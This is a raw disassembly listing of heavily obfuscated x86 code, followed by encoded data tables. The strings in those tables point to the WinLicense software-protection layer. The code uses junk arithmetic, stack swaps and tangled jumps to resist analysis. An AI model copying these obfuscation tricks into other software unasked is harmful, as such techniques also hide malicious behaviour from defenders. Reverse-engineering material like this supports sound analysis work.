jmp loc_597482 ; --------------------------------------------------------------------------- loc_5A6C15: ; CODE XREF: sub_581EE9+1AABFj pop ebp xor eax, edi push [esp-6E72h+arg_6E68+2] pop edi add esp, 4 jmp loc_592F17 ; --------------------------------------------------------------------------- loc_5A6C27: ; CODE XREF: sub_581EE9+22B34j mov [esp-6E52h+arg_6E48+2], edx pop dword ptr [edi+24h] jmp $+5 mov edx, [esp-6E56h+arg_6E4C+2] sub esp, 4 mov [esp-6E52h+arg_6E48+2], ebx jmp loc_59DB34 ; --------------------------------------------------------------------------- loc_5A6C40: ; CODE XREF: sub_581EE9+15854j push edi mov edi, 15DF0h push eax push ebx mov ebx, 360C1CDFh neg ebx sub ebx, 26312092h jmp loc_59DF07 ; --------------------------------------------------------------------------- loc_5A6C5A: ; CODE XREF: sub_581EE9+177CFj mov [esp-6E8Ch+arg_6E84], edi mov edi, 4 add esi, 2DB141B3h sub esi, edi sub esi, 2DB141B3h pop edi xchg esi, [esp+0] mov esp, [esp+0] mov [esp+0], esi push ebx mov ebx, 40000h mov esi, ebx jmp loc_596A9E ; --------------------------------------------------------------------------- loc_5A6C87: ; CODE XREF: sub_581EE9+19970j mov [esp-6EA2h+arg_6E9A], ecx mov ecx, 0 sub ecx, eax mov eax, ecx jmp loc_59EAA6 ; --------------------------------------------------------------------------- loc_5A6C98: ; CODE XREF: sub_581EE9+14D7Cj and ebx, 0DF30FF6h shr ebx, 5 xor ebx, 49BE7ABCh jmp loc_592451 ; --------------------------------------------------------------------------- loc_5A6CAC: ; CODE XREF: sub_581EE9+224FFj sub edi, 683962F5h pop ebp sub edi, ecx sub esp, 4 jmp loc_595866 ; --------------------------------------------------------------------------- loc_5A6CBD: ; CODE XREF: sub_581EE9+24F04j or edi, eax pop eax sub edi, 1 push ecx mov ecx, 5AD230DFh xchg eax, ecx jmp loc_59E61F ; --------------------------------------------------------------------------- loc_5A6CD2: ; CODE XREF: sub_581EE9+189BFj sub ebx, 12A206EEh add ebp, ebx pop ebx xchg ebp, [esp-6E76h+arg_6E6E] mov esp, [esp-6E76h+arg_6E6E] push 2CE0h jmp loc_59F0E2 ; --------------------------------------------------------------------------- loc_5A6CEB: ; CODE XREF: sub_581EE9+1A1B5j push [esp-6E88h+arg_6E80] pop ebx add esp, 4 sub esp, 4 mov [esp-6E88h+arg_6E80], ecx mov ecx, 4 add ebp, ecx mov ecx, [esp-6E88h+arg_6E80] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E84h+arg_6E7C] jmp loc_596DD1 ; --------------------------------------------------------------------------- loc_5A6D1C: ; CODE XREF: sub_581EE9+15470j mov edi, ebx pop ebx jmp loc_5937F3 ; --------------------------------------------------------------------------- loc_5A6D24: ; CODE XREF: sub_581EE9+1AA66j push 62CEh mov [esp-6EA4h+arg_6E9A+2], esi push 2E4F69C4h pop esi xchg edx, esi not edx xchg edx, esi dec esi xchg ebx, esi not ebx xchg ebx, esi not esi push edx mov edx, 0D1B09636h sub esi, edx mov edx, [esp-6EA0h+arg_6E96+2] add esp, 4 push ecx mov ecx, 28E935C3h add ecx, 204F7A80h neg ecx push ebx jmp loc_599F91 ; --------------------------------------------------------------------------- loc_5A6D66: ; CODE XREF: sub_581EE9+1CD1Aj xor eax, 0BF50C404h add ecx, eax pop eax push esi mov esi, 4 jmp loc_59A9F3 ; --------------------------------------------------------------------------- loc_5A6D79: ; CODE XREF: sub_581EE9+2307Ej sub edx, 78664EACh add edx, ebx add edx, 78664EACh pop ebx push edx push [esp-6E8Eh+arg_6E8A] pop edx jmp loc_5A58B6 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E8Eh+arg_6E84+2] push 77EFh jmp loc_594143 ; --------------------------------------------------------------------------- loc_5A6DA1: ; CODE XREF: sub_581EE9+22D1Fj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6E76h+arg_6E6E] pop esp xor ebx, [esp-6E7Ah+arg_6E72] xor [esp-6E7Ah+arg_6E72], ebx xor ebx, [esp-6E7Ah+arg_6E72] pop esp add esp, 4 jmp loc_5A4EAA ; --------------------------------------------------------------------------- loc_5A6DC3: ; CODE XREF: sub_581EE9+1D1CEj push edx push [esp-6EACh+arg_6EA8] pop edx pop [esp-6EACh+arg_6EA4] mov esp, [esp-6EB0h+arg_6EA8] mov [esp-6EB0h+arg_6EA8], eax push esp pop eax add eax, 4 jmp loc_59E679 ; --------------------------------------------------------------------------- loc_5A6DDE: ; CODE XREF: sub_581EE9+20DE0j mov eax, 505324A0h and eax, 3A6438E5h add eax, 3E1333C2h jmp loc_5A6CBD ; --------------------------------------------------------------------------- loc_5A6DF2: ; CODE XREF: sub_581EE9+14210j pop edi add edi, 3E9A052Bh push [esp-6EA2h+arg_6E9A] pop ebx jmp loc_5A2DCD ; --------------------------------------------------------------------------- loc_5A6E02: ; CODE XREF: sub_581EE9+10373j not esi xchg esi, edx add edx, 3E4C7D73h add esi, edx jmp loc_59CDBF ; --------------------------------------------------------------------------- loc_5A6E13: ; CODE XREF: sub_581EE9+169C8j pop ebp xchg edi, [esp-6E64h+arg_6E5C] mov esp, [esp-6E64h+arg_6E5C] add al, 45h jmp loc_59E484 ; --------------------------------------------------------------------------- loc_5A6E21: ; CODE XREF: sub_581EE9+2292Aj push edx mov edx, edi mov ecx, edx pop edx pop edi sub eax, 2E34C3Ah add eax, 25E95B39h sub eax, ecx push edx mov edx, 145908BBh jmp loc_594387 ; --------------------------------------------------------------------------- loc_5A6E3F: ; CODE XREF: sub_581EE9+24C38j add al, 85h jmp loc_59D8D9 ; --------------------------------------------------------------------------- loc_5A6E46: ; CODE XREF: sub_581EE9+1F2B7j push eax mov eax, 4 add esi, eax pop eax jmp loc_5933FC ; --------------------------------------------------------------------------- loc_5A6E54: ; CODE XREF: sub_581EE9+1CE0Aj sub esp, 4 push esp pop [esp-6E68h+arg_6E60] add [esp-6E6Ch+arg_6E64], 4 jmp loc_59DA29 ; --------------------------------------------------------------------------- loc_5A6E67: ; CODE XREF: sub_581EE9+122CDj push 3C84h mov [esp-6EC4h+arg_6EBA+2], esi push eax mov eax, 407C45E2h xor [esp-6EC0h+arg_6EBA+2], eax mov eax, [esp-6EC0h+arg_6EB6+2] add esp, 4 pop edx sub esp, 4 jmp loc_5A0FB1 ; --------------------------------------------------------------------------- loc_5A6E8E: ; CODE XREF: sub_581EE9+1A41Bj mov eax, 1AEDE1AEh add ebp, eax pop eax sub esi, ebp pop ebp pop ebp xor esi, 2B63CDBh and esi, 0A74666Fh jmp loc_59FE5F ; --------------------------------------------------------------------------- loc_5A6EAB: ; CODE XREF: sub_581EE9+1F57Dj bswap eax push 0B73h mov [esp-6E9Eh+arg_6E96], eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A6EBA: ; CODE XREF: sub_581EE9+11371j add edi, esi push [esp-6EA4h+arg_6E9A+2] mov esi, [esp-6EA0h+arg_6E96+2] add esp, 4 add esp, 4 add edi, 2 xchg edi, [esp-6EA8h+arg_6E9E+2] mov esp, [esp-6EA8h+arg_6E9E+2] btr word ptr [esp-6EA8h+arg_6E9E+2], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A6EE2: ; CODE XREF: sub_581EE9+1E6F5j pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A6EE8: ; CODE XREF: sub_581EE9+14955j mov esp, [esp-6E6Ah+arg_6E60+2] jmp loc_5A546B ; --------------------------------------------------------------------------- loc_5A6EF0: ; CODE XREF: sub_581EE9+10741j pop esp jmp loc_59E1A3 ; --------------------------------------------------------------------------- loc_5A6EF6: ; CODE XREF: sub_581EE9+1ED2Cj pop edi sub ebx, 8B0BFBh add ebx, edi add ebx, 8B0BFBh jmp loc_59A361 ; --------------------------------------------------------------------------- loc_5A6F0A: ; CODE XREF: sub_581EE9+1BB1Cj push eax mov eax, 4 add edx, eax pop eax sub edx, 4 jmp loc_5A0AB6 ; --------------------------------------------------------------------------- loc_5A6F1E: ; CODE XREF: sub_581EE9+191C0j pop eax add ecx, 4 xchg ecx, [esp-6E7Ch+arg_6E72+2] mov esp, [esp-6E7Ch+arg_6E72+2] add [esp-6E7Ch+arg_6E72+2], eax push ecx jmp loc_5A3560 ; --------------------------------------------------------------------------- loc_5A6F34: ; CODE XREF: sub_581EE9+1EDCBj add esi, eax pop eax mov eax, [esp-6E84h+arg_6E7C] add esp, 4 sub esi, 12C339E7h add esi, eax jmp loc_59FFB0 ; --------------------------------------------------------------------------- loc_5A6F4A: ; CODE XREF: sub_581EE9+1EF32j pop dword ptr [esp] add [esp-6EBCh+arg_6EB2+2], 4 jmp loc_593008 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 4DBA48F5h sub eax, ebx pop ebx push ecx jmp loc_5A2193 ; --------------------------------------------------------------------------- loc_5A6F66: ; CODE XREF: sub_581EE9+1C00Fj pop esp sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ebp push 8Eh mov [esp-6EBCh+arg_6EB2+2], esp add [esp-6EBCh+arg_6EB2+2], 4 pop ebp push eax mov eax, 5153069Dh shr eax, 3 sub eax, 51E76413h add eax, 0FFFFFFFFh add eax, 47BD0345h add ebp, eax pop eax sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], edi jmp loc_5947FC ; --------------------------------------------------------------------------- loc_5A6FA1: ; CODE XREF: sub_581EE9+161A2j pop esi push esi push esp jmp loc_59804B ; --------------------------------------------------------------------------- loc_5A6FA9: ; CODE XREF: sub_581EE9+10761j add ebx, esi pop esi jmp loc_59C2E0 ; --------------------------------------------------------------------------- loc_5A6FB1: ; CODE XREF: sub_581EE9+15B94j pop esp push edi jmp loc_5926D6 ; --------------------------------------------------------------------------- push [esp-6EACh+arg_6EA4] jmp loc_5A70C5 ; --------------------------------------------------------------------------- loc_5A6FC0: ; CODE XREF: sub_581EE9+175A2j push edx push 374D4925h pop edx xor edx, 6E4F6154h mov edi, edx jmp loc_59B695 ; --------------------------------------------------------------------------- loc_5A6FD4: ; CODE XREF: sub_581EE9+1C39Cj mov ecx, 53F11D37h jmp loc_59B50E ; --------------------------------------------------------------------------- loc_5A6FDE: ; CODE XREF: sub_581EE9+1A8B2j mov edx, [esp-6E76h+arg_6E6E] add esp, 4 jmp loc_59E981 ; --------------------------------------------------------------------------- loc_5A6FE9: ; CODE XREF: sub_581EE9+20AA6j mov [esp-6E56h+arg_6E4C+2], eax jmp loc_59671A ; --------------------------------------------------------------------------- loc_5A6FF1: ; CODE XREF: sub_581EE9+1E0ACj mov edi, 7D580290h sub esi, edi pop edi push edi jmp loc_597BE1 ; --------------------------------------------------------------------------- loc_5A6FFF: ; CODE XREF: sub_581EE9+1894Ej push ebx mov ebx, 0 add ebx, 5FD36247h sub ebx, ebp sub ebx, 5FD36247h mov ebp, ebx pop ebx jmp loc_59F24C ; --------------------------------------------------------------------------- loc_5A701B: ; CODE XREF: sub_581EE9+1D054j pop esi push esi mov esi, 24B20147h add esi, 7F2859CCh neg esi push ebp mov ebp, 78E57B8Dh add esi, ebp pop ebp jmp loc_597DB6 ; --------------------------------------------------------------------------- loc_5A7038: ; CODE XREF: sub_581EE9+12985j pop esi jmp loc_5A2E53 ; --------------------------------------------------------------------------- loc_5A703E: ; CODE XREF: sub_581EE9+17904j push [esp-6E7Ah+arg_6E72] pop eax add esp, 4 xor edx, [esp-6E7Eh+arg_6E76] xor [esp-6E7Eh+arg_6E76], edx xor edx, [esp-6E7Eh+arg_6E76] jmp loc_5949D1 ; --------------------------------------------------------------------------- loc_5A7053: ; CODE XREF: sub_581EE9+155FBj or ebx, 5AD429DBh dec ebx push edx mov edx, 3D1A57D4h shl edx, 5 add edx, 25247875h push esi mov esi, 589849F7h add esi, 1 add esi, 0DC8713E8h jmp loc_59F3D1 ; --------------------------------------------------------------------------- loc_5A7080: ; CODE XREF: sub_581EE9+17050j xchg edx, [esp-6EACh+arg_6EA4] mov esp, [esp-6EACh+arg_6EA4] shl word ptr [esp-6EACh+arg_6EA4], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A7090: ; CODE XREF: sub_581EE9+1355Bj mov eax, ebp pop ebp jmp loc_5A1F94 ; --------------------------------------------------------------------------- loc_5A7098: ; CODE XREF: sub_581EE9+1024Cj mov al, 0CFh jmp loc_599DA2 ; --------------------------------------------------------------------------- loc_5A709F: ; CODE XREF: sub_581EE9+15F8Bj add eax, [ebx] push [esp-6E72h+arg_6E68+2] jmp loc_59FE31 ; --------------------------------------------------------------------------- loc_5A70A9: ; CODE XREF: sub_581EE9+2140Aj and esi, 6B1C45BAh shr esi, 7 sub esi, 0D2A22AFh xor esi, 88E7665Dh sub edx, esi jmp loc_59EC6D ; --------------------------------------------------------------------------- loc_5A70C5: ; CODE XREF: sub_581EE9+250D2j pop eax jmp loc_59BBD8 ; --------------------------------------------------------------------------- loc_5A70CB: ; CODE XREF: sub_581EE9+11073j push esi mov esi, 66C0A429h jmp loc_59C3A6 ; --------------------------------------------------------------------------- loc_5A70D6: ; CODE XREF: sub_581EE9+139B9j xor esi, [esp-6E46h+arg_6E3E] xor [esp-6E46h+arg_6E3E], esi xor esi, [esp-6E46h+arg_6E3E] pop esp shr eax, 12h xor eax, ecx push 318Bh mov [esp-6E46h+arg_6E3E], eax xor [esp-6E46h+arg_6E3E], ebx jmp loc_5A070B ; --------------------------------------------------------------------------- loc_5A70F5: ; CODE XREF: sub_581EE9+2301Fj mov [esp-6E56h+arg_6E4C+2], ebx mov bh, 4Bh xor bh, 24h shr bh, 5 or bh, 36h jmp loc_599B62 ; --------------------------------------------------------------------------- loc_5A7108: ; CODE XREF: sub_581EE9+1B957j add esp, 4 jmp loc_5A5C96 ; --------------------------------------------------------------------------- loc_5A7110: ; CODE XREF: sub_581EE9+163E7j add ecx, 4 xchg ecx, [esp-6ED0h+arg_6EC6+2] pop esp push edi mov edi, ecx mov ebx, edi pop edi push [esp-6ED4h+arg_6ECA+2] jmp loc_5A333F ; --------------------------------------------------------------------------- loc_5A7128: ; CODE XREF: sub_581EE9+210A1j mov [esp-6E8Ah+arg_6E80+2], eax push ecx jmp loc_5A2941 ; --------------------------------------------------------------------------- loc_5A7131: ; CODE XREF: sub_581EE9+14D11j pop esp mov [esp-6E80h+arg_6E76+2], eax sub esp, 4 mov [esp-6E7Ch+arg_6E72+2], esp push ebp mov ebp, 4 add [esp-6E78h+arg_6E72+2], ebp pop ebp push [esp-6E7Ch+arg_6E72+2] mov eax, [esp-6E78h+arg_6E6E+2] push esi jmp loc_593623 ; --------------------------------------------------------------------------- loc_5A7152: ; CODE XREF: sub_581EE9+13DADj add esp, 4 jmp loc_5A3610 ; --------------------------------------------------------------------------- loc_5A715A: ; CODE XREF: sub_581EE9+21FD0j neg esi and esi, 78006045h add esi, 34B71110h jmp loc_5A1FB1 ; --------------------------------------------------------------------------- loc_5A716D: ; CODE XREF: sub_581EE9+1DC71j or ecx, 5514436Ch jmp loc_59D509 ; --------------------------------------------------------------------------- loc_5A7178: ; CODE XREF: sub_581EE9+23FD4j add di, 74DFh push ebx mov bx, 70D2h xor bx, 7836h jmp loc_59576F ; --------------------------------------------------------------------------- loc_5A718C: ; CODE XREF: sub_581EE9+11484j mov bx, word ptr [esp-6E94h+arg_6E8A+2] add esp, 2 mov dx, word ptr [esp-6E98h+arg_6E8E+2] jmp loc_59E304 ; --------------------------------------------------------------------------- loc_5A719F: ; CODE XREF: sub_581EE9+14EE3j add edi, ebx push [esp-6E92h+arg_6E8A] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E8Eh+arg_6E84+2] pop esp add edi, 4 xor edi, [esp-6E92h+arg_6E8A] xor [esp-6E92h+arg_6E8A], edi xor edi, [esp-6E92h+arg_6E8A] mov esp, [esp-6E92h+arg_6E8A] or [esp-6E92h+arg_6E8A], eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A71D3: ; CODE XREF: sub_581EE9+3AAEj call near ptr loc_5A71DD+1 mov dh, [ebx+ebp*2+37h] nop loc_5A71DD: ; CODE XREF: sub_581EE9:loc_5A71D3p mov eax, 2810F50h sub_581EE9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0 dd 5BD38B00h, 81C0805Eh, 66D5C681h, 0E9600000h, 10h, 0DAD0D8B3h dd 0ABE8EEh, 133577C7h, 0CC6673B0h, 2CEEB81h, 0B9617D45h dd 1985h, 1820Fh, 0FFF80000h, 5FBAB736h, 6F38166h, 0F9EF816Bh dd 665AC15Ah, 0EDB5E281h, 3CB8F781h, 0DE81814h, 0B1000000h dd 8003276Eh, 43B44A7Eh, 0AFDC9694h, 8B0F53h, 58000000h dd 0DAC78158h, 6628A3BBh, 0B457C38Bh, 80068F08h, 0EE8140CBh dd 2AA17039h, 8FCA8166h, 35C681BBh, 602AA170h, 0A14BBB66h dd 12E8h, 1E629A00h, 0C869A611h, 4491AAD0h, 0D5DE5B9Fh dd 0F32FF62h, 615BFBBFh, 0F01E983h, 0FFFF7E85h, 50E9FFh dd 0B6570000h, 53553888h, 32335245h, 6C6C642Eh, 56444100h dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h dd 507D8h, 60002h, 40011h, 0E20016h, 6 dup(0) dd 0DCE90000h, 68000008h, 6169864h, 0FDE97BE9h, 98DF68FFh dd 71E90616h, 68FFFDE9h, 6169A2Ah, 0FDE967E9h, 9B8D68FFh dd 5DE90616h, 68FFFDE9h, 6169C0Bh, 0FDE953E9h, 9D0468FFh dd 49E90616h, 68FFFDE9h, 6169D66h, 0FDE93FE9h, 0CBC6C6FFh dd 0F6A7D847h, 1F9AB532h, 77E8C1Bh, 28656403h, 0C54D67E4h dd 0D847CBC6h, 0B12EF2ABh, 89161A95h, 95000477h, 5BA8916h dd 9A3955E6h, 3690D9AFh, 0E7CC3CC1h, 0DE19F531h, 0AD6744BEh dd 0A15C1EABh, 0C4F4A9DAh, 0E51590BBh, 0FFB77D61h, 0F6619AEEh dd 0F0929AA9h, 0FF351953h, 6B1763CCh, 242849DCh, 0C87BA417h dd 4B55E49Ah, 6595103Ch, 0B637FDE1h, 8E773DE9h, 0DDEA717Bh dd 0E62CA8A0h, 32493FCEh, 324A7DF5h, 0D946B196h, 0B5F2A26Ah dd 5BAF65E9h, 8885C4F7h, 3FA7070Dh, 682321AEh, 81F63744h dd 92AFDE6Eh, 0BCCE9DAEh, 508F7B33h, 6E92DBC1h, 900B3DAAh dd 13ADD88Fh, 7A48A083h, 73Bh, 84880303h, 6FB3EA1Bh, 54D8D5F0h dd 42C6BDCBh, 27EBA6A5h, 302B0A4h, 0F01D8A8Eh, 0DAF671B5h dd 0BACC5BDFh, 0EF523FC3h, 0E60AF34Eh, 0D9C37055h, 6366567h dd 0FAB7D695h, 17658438h, 0E58EBBE4h, 3D0149DFh, 58537F0Eh dd 0A7D8A7D4h, 636F3CF6h, 0CDFDB8D3h, 562D15Eh, 9DE155E6h dd 0E6A3AE79h, 93B5CAC2h, 3954E6E3h, 0A4C84C7Ch, 0B0C3094h dd 6913475Eh, 0C0E8BA12h, 0B8000006h, 96111588h, 6BF43875h dd 46E12560h, 5EC94D48h, 2DAE722Fh, 118CBB0Bh, 3875920Dh dd 245F6BF4h, 564547E0h, 0DB44A7D2h, 55E60A68h, 6764A8EBh dd 0C0BBCD65h, 0B1D3ACDCh, 65890401h, 80FD0A55h, 59D9F788h dd 3B53772Ah, 0D159B01Fh, 34FA649h, 859488DDh, 90F9h, 188B3700h dd 0F092AC9Fh, 74C76053h, 8F53F092h, 0C153378Bh, 7685F80Ah dd 79A6D5F7h, 0A327574Ah, 0B953A151h, 53F09286h, 0F512A4A6h dd 324A4143h, 3E9AB2D6h, 91A9E4E1h, 750D1135h, 94EBE094h dd 0DFE03F76h, 0F83A9EAEh, 20D5CCFh, 8C008D87h, 0E549DC01h dd 0F7136A61h, 3B534A47h, 4E79BBDFh, 7D8CD3h, 76315DF2h dd 0C16ED9B2h, 55E4E172h, 0C8878DF1h, 0B3CAC1BCh, 0AFEAE595h dd 0E7173B9Fh, 0E1182B74h, 0B79B55E4h, 17258193h, 5D7h dd 3665679Dh, 0C24F9E06h, 0E35EDFC5h, 6053F092h, 0A7D4F81Ch dd 0DC482806h, 0E1252949h, 0FBB2D3AAh, 2D606239h, 3C4899E9h dd 0B9B9790Fh, 0F3C6AA9Ah, 39198621h, 0FD4FCBF5h, 987F3B67h dd 0F30164C0h, 0D7893F7h, 0DD57527Eh, 8387020Eh, 9DADE8E4h dd 1736C0C2h, 0EB1769Ah, 0B662FF94h, 5757446h, 3D4D0000h dd 2021BE42h, 133EA96Dh, 0F7159296h, 0E0EF78BCh, 0CEE269ADh dd 0D0544978h, 0BF433A57h, 0A5692420h, 9195083Ah, 291885E4h dd 0AA55E608h, 6567A769h, 47790636h, 0AB442454h, 9073DB44h dd 9FAC53F0h, 0EE4B45C9h, 0AC664431h, 94BF1FCCh, 5AEB7985h dd 4440738Bh, 0BFA3DAECh, 0FED18A75h, 6726FFFFh, 9E063665h dd 7202394Fh, 4B3EE16Fh, 398A889Fh, 1E8DBFCEh, 0F899914h dd 46CA49DCh, 5523C2C2h, 0E211F926h, 0C5024FC8h, 0EF5ADBC7h dd 645FD8E1h, 48CCFCE0h, 0D1A71424h, 0B3330416h, 81B0FDCFh dd 25FD866h, 9D181A3Eh, 5FD866A1h, 0FD0D8081h, 11296462h dd 48403D4Eh, 254CABCCh, 82D9C01Dh, 0AE9D1A80h, 255FD866h dd 68F73D21h, 7C2BF101h, 0FD8B91BDh, 64663FCAh, 0A1C0F729h dd 85F28D87h, 87000001h, 787A2BF1h, 8294D933h, 4E89CE22h dd 919B9972h, 5BAA5C1Eh, 0D9FDB8D6h, 0EC2137A2h, 7ED7C5B5h dd 0F5018C86h, 0E49DC2Eh, 0A072330Ah, 0F57B8E32h, 0CA6B6014h dd 96320444h, 397493EAh, 738B8FFBh, 7D8EFA0Bh, 0DE28DB30h dd 7A013AFh, 0BFE62334h, 90A8E5E4h, 36FC4034h, 0C23D4E32h dd 0E623D665h, 2BE96DBFh, 37BFC198h, 0F2566615h, 0ABDD4ACEh dd 2D962FF0h, 0CA228313h, 412F8h, 0A7DAEA00h, 0CAC3C463h dd 0F3AED946h, 1B92B02Fh, 4798817h, 0E1517B00h, 0FC6BAFE2h dd 0D552D6CFh, 0AD3AFEB9h, 711CE09Bh, 99EAD0Ah, 0FE1555E6h dd 1B61803Ah, 0D5F675E0h, 0EE24A0D8h, 0DFE572EFh, 0E647B249h dd 55E6056Bh, 73273E8h, 9C55E605h, 6A9E94B8h, 585B4F1h dd 3A1E55E6h, 6A66E516h, 424D1C2Fh, 41D33747h, 44FA1691h dd 17274B42h, 0C0473648h, 69134831h, 94C3D149h, 6C000003h dd 42DD215Ch, 5FC84C41h, 2AB57934h, 29D611Ch, 18A8E03h dd 3568672Fh, 5C5976F1h, 48434FD8h, 72295BC4h, 3F78C3AEh dd 55E60E0Ch, 67484C87h, 95063665h, 448384DFh, 0F0C868DBh dd 0B167EB53h, 0C3517606h, 8B83FA0Ch, 0ED04EBh, 53F0C92Ah dd 0E7F23F1Bh, 0F48E8594h, 2AFFFFFCh, 6366567h, 0C5C24F9Eh dd 0FFA6B0C8h, 8FD3560Dh, 13284C70h, 0D6573D4Ch, 53F0347Bh dd 587094F8h, 287536FCh, 49DC35BEh, 5CF5337h, 0AC9F188Bh dd 2753F092h, 313510D1h, 9C804051h, 0C3F58096h, 0F8255622h dd 49DC448Eh, 0ED4A8387h, 2DCB3648h, 112A5EAFh, 4B433E4Ah dd 5CD07F3Dh, 0B1D53234h, 6FE74063h, 80E7F735h, 0F5148CBCh dd 0C22B7487h, 6DFDE339h, 798BD2E9h, 0F78DFE02h, 0ADDF357Dh dd 0D44ACEFEh, 60BF4BFEh, 0B5112964h, 0EF9EA07Fh, 0D64AA328h dd 5D6FDFB4h, 29Bh, 0E4286363h, 0CF534A7Bh, 0B4783550h dd 0A2661D2Bh, 878B0605h, 6362D004h, 507DEA2Eh, 3A56D155h dd 1A2CBB7Fh, 8FF29F63h, 0E60F132Eh, 0B9639055h, 0E01B6180h dd 0DFE5CC47h, 0A6D82749h, 0A1B8D3F7h, 0B926EAA5h, 62F9128Dh dd 56F72964h, 290FF15h, 6EF1CD47h, 63DE215Ch, 33691374h dd 239C9DBh, 1010000h, 0EC1D8A8Eh, 0D7F26DB1h, 0BBC956DAh dd 0A4A33CC0h, 0B2A625E9h, 84880504h, 73B7EE1Bh, 59DDD8F4h dd 3DC1BCCEh, 0FD4CE950h, 7655E60Fh, 0F48BDBDDh, 4F48DED7h dd 8C57EA37h, 0C7269E94h, 161D9AB1h, 5D49DFB2h, 658B50Bh dd 52769331h, 0D253CE39h, 55E63767h, 296463FCh, 2E500F05h dd 0D5F38584h, 62AAEDEh, 0AA6E92F6h, 4A410FDAh, 0E63744EDh dd 536BEF55h, 8880FD0Ch, 2E74938Ch, 0E637B281h, 0DD5A3155h dd 55E6376Eh, 597D61E5h, 2C58ADD5h, 37BB9E1Fh, 0E07F55E6h dd 3A9EAEDFh, 0CC9388F8h, 4CC8C0BDh, 0E6373E0Dh, 0ADD1B555h dd 0CDC0C29Dh, 3C4ED9BDh, 2022BD41h, 0FD0F5E6Dh, 2C5C5775h dd 107484A8h, 2A31A202h, 8391631Eh, 0ABC269BDh, 177DE070h dd 47ED96D4h, 0EA8F59D1h, 0EA28EAF3h, 63981335h, 87B7EE1Ch dd 0A641F103h, 8BD2E9A4h, 8E0A0279h, 28273884h, 0D3A4575h dd 0E9E77890h, 0A1EE9AB2h, 418EC04Ah, 5668F72Ah, 61B31727h dd 21E598AAh, 0F20A8786h, 691A2A14h, 1182B1FEh, 3D0155E6h dd 0C20168F7h, 9D1835C3h, 41C5E96Dh, 0D2EAA7A6h, 0F506818Dh dd 0D75D5876h, 0E5D70D7h, 11758500h, 0F6157C03h, 0C956DAD7h dd 47B4C4B7h, 7A920B38h, 6899141Eh, 401D1589h, 203F4F3Eh dd 0F5526A23h, 42BEF06h, 7D8FBED5h, 6B9D0A0Eh, 48471830h dd 0B6612555h, 6F1E205Fh, 840A3CABh, 7979281Bh, 83A7ABEDh dd 86F2138Bh, 96AA2875h, 50CBF755h, 6E9864D7h, 0CBE15D97h dd 80DFDB4Ah, 0C8B7BACCh, 807263E6h, 0CCB4789Ch, 0F33C4F3Dh dd 8D41EE42h, 3E4179DDh, 0FE8D910Ch, 30172283h, 0BFAC9944h dd 4430C37Eh, 0D8FC4099h, 883855Ah, 0C6BFB1F0h, 0CBA45BE2h dd 286365A4h, 3407A013h, 4F5AA22Ah, 1E8949CBh, 0C699B1ECh dd 0A2BDCDC8h, 8DD2EAA7h, 0DE08007Bh, 0C8225AB1h, 0E87AE3C2h dd 3B1A3D21h, 40259D4h, 0B2D48B89h, 0C855C0FBh, 5AA2AC79h dd 0D49C96FAh, 4A42394Bh, 1678h, 12304F00h, 8B97999Bh dd 59DBD2F4h, 0A662F269h, 0BBF85D0h, 67D254DEh, 7B043467h dd 253A5249h, 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h dd 98E7178Eh, 4718306Dh, 1F275746h, 81E78957h, 4C7h, 4EF8300h dd 31243C33h, 3C33243Ch, 0EC835C24h, 24048904h, 5E08950h dd 4, 8704E883h, 895C2404h, 0A168241Ch, 8B061697h, 0C4832404h dd 1C8B5404h, 4C48124h, 51000000h, 4B895950h, 1C8B5908h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 582434FFh dd 0E904C483h, 0FFFDE0B0h, 0F902214Ch, 0B88BC744h, 6169FC4h dd 0E0FFC503h, 3F1E4064h, 51A98E6Bh, 0FB8DD47h, 13D364CAh dd 51B1B6E1h, 5078774Bh, 21F12C16h, 4AB6F04Bh, 6F7F7CDh dd 74F37AFAh, 0FCEA0Dh, 442CA9E9h, 0C40E3B7h, 190401FFh dd 8EE9h, 0BD836000h, 6140AA1h, 5840F00h, 0E9000000h, 79h dd 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 16E908C4h dd 8D000000h, 14241585h, 4895006h, 34895024h, 0FF006A24h dd 1424DD95h, 0C6C36106h, 14084985h, 74684D06h, 8130F219h dd 5D342404h, 0B5FF7343h, 6142965h, 3B4E858Dh, 0D0FF0614h dd 24DD8589h, 14E80614h, 89000000h, 8B77BD54h, 0A8E6F944h dd 3B44BD7Bh, 88D11FB1h, 666BFD31h, 5758F28Bh, 815ED08Bh dd 6F17C0h, 10E900h, 1C140000h, 665177D3h, 126C3F42h, 0D9BD2E0Fh dd 9F6848B9h, 0F00001Bh, 68Dh, 0A58D8B00h, 5B061420h, 3830Fh dd 0B70F0000h, 6630FFF0h, 665FF38Bh, 3982E181h, 5BB3EF81h dd 0F7814317h, 6F6B3042h, 20299529h, 0C7810614h, 5433F54Ah dd 2FE98D8Bh, 66570614h, 8FF28Bh, 2025BD89h, 0E8830614h dd 6048F503h, 2DC99589h, 0C28B0614h, 1EB8361h, 0FFB3850Fh dd 0AAE9FFFFh, 53000000h, 7774666Fh, 5C657261h, 4C6E6957h dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h 